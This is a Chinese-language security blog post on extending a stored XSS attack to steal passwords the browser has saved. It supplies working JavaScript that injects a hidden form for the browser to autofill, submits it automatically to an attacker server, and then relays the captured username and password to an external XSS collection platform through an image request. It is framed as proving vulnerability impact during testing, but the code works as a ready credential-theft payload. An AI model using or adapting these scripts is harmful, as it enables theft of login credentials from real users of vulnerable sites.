1.研究背景
很多时候在测试时,发现了XSS漏洞却无奈于http-only无法打到cookie,当然也可以配合phpinfo或者apahce来bypass http-only,但毕竟都是特殊情况,那么还能有什么办法来证明它的危害呢?很多人肯定想到:
1、屏幕截图,看敏感信息;
2、获取后台源码分析一下,如果存在CSRF添加用户可以添加一个用户;
3、键盘记录;
4、获取浏览器保存的密码等等。
我们今天针对第四种危害,获取浏览器保存的密码进行研究。
2.XSS平台并不适应所有情况
其实各大XSS平台上已经支持了获取浏览器保存的明文密码插件了,但是这种插件好像并不能应用到所有的场景当中,如下场景:
class="admin_form" style="padding-top: 10%; padding-bottom: 10%;"> <div class="field">
<label>账号:label>
<div class="field_line">
<i class="user_icon">i>
<input class="input_name" type="text" placeholder="请输入您的账号" name="username">
div>
div>
<div class="field">
<label>密码:label>
<div class="field_line">
<i class="user_key">i>
<input class="input_password" type="password" placeholder="请输入您的密码" name="password">
<i class="user_eye">i>
div>
div>
<div class="login" style="margin-top: 20%;">
<button class="login_button">登录button>
div>
</div>
再保存密码的情况下如下:
然后看html代码中,并没有value属性:
而XSS平台获取账号密码的方式是,在页面中创建一个一模一样的表单,浏览器会自动填充,然后使用getElementsByClassName获取到元素,之后再将元素的value偷走。以下是xss平台中使用获取浏览器保存密码插件创建的项目的js代码:
那这种方法是否能否生效呢,我们来看下:
并不能获取到内容,我想应该是浏览器填充的账号密码信息并没有在input的value属性中体现,所以失败了。
3.重新构造代码实现密码获取
既然直接获取value属性值行不通,那怎么办呢?这里想到一个方法,自动填充表单以后,点一下提交按钮不就行了。说干就干,最终代码改成:
function create_body(){ document.write(''); } function create_form(user) { var f = document.createElement("form"); f.action="http://xss平台/index.html"; f.method="GET"; f.style.display= "none"; document.getElementsByTagName("body")[0].appendChild(f); var e1 = document.createElement("input"); e1.type = "text"; e1.name = "username"; e1.className = "input_username"; f.appendChild(e1); var e = document.createElement("input"); e.name = "password"; e.type = "password"; e.className = "input_password"; f.appendChild(e); var e2 = document.createElement("input"); e2.type="submit"; e2.value="Submit"; e2.className = "sub1"; f.appendChild(e2); setTimeout(function () { //username = document.getElementsByClassName("input_username").value; var bottons = document.getElementsByClassName("sub1"); bottons[0].click(); //console.log(bottons); }, 2000); } create_form('');
代码相比于以前,加了一个type类型为submit的input标签,在setTimeout方法中,将原本传数据的代码,改成用click点击提交按钮的代码。
我们直接把js代码放到console里面执行一下看下效果。
这下,账号密码获取到了,也传送到了我们提前准备好的平台。这里又出现一个问题,如果我想把数据还传回XSS平台怎么办呢?直接把form表单的action改成https://x0.nz/bdstatic.com/?callback=jsonp&id=xxxx,这样是行不通的,因为form表单是get型提交方式,action现在的URL后面追加参数,而会变成https://x0.nz/bdstatic.com/?username=123&password=123456 。所以我们没法直接通过xss平台来收取账号密码。
4.打通与XSS平台的数据互通
这里如果你想将把获取到的账号密码传回XSS平台,可以这么做:
1、在服务器上起一个web服务;
2、将以下代码放到index.html中(其实这里是做了一个中转,将账号密码传回服务器,然后js获取url中的参数,再传回到XSS平台),
function GetRequest(urlStr) { if (typeof urlStr == "undefined") { var url = decodeURI(location.search); //鑾峰彇url涓�"?"绗﹀悗鐨勫瓧绗︿覆 } else { var url = "?" + urlStr.split("?")[1]; } var theRequest = new Object(); if (url.indexOf("?") != -1) { var str = url.substr(1); strs = str.split("&"); for (var i = 0; i < strs.length; i++) { theRequest[strs[i].split("=")[0]] = decodeURI(strs[i].split("=")[1]); } } var newimg = new Image(); newimg.src="https://x0.nz/bdstatic.com/?callback=jsonp&id=xxxx&username="+theRequest['username']+"&password="+theRequest['password'];}GetRequest();
记得修改newimg.src哦,改成你的收件地址。
3、修改XSS代码中的action,指向你已经搭建好的服务器。
4、在XSS平台创建项目的时候,自定义代码,把第三章节给出的代码放进去即可。
5.总结
存储型XSS玩的好就是高危,玩的不好,可能要被忽略,所以遇到这种情况要多研究,尽可能大的证明漏洞危害,最后预祝各位都可以挖到高危严重。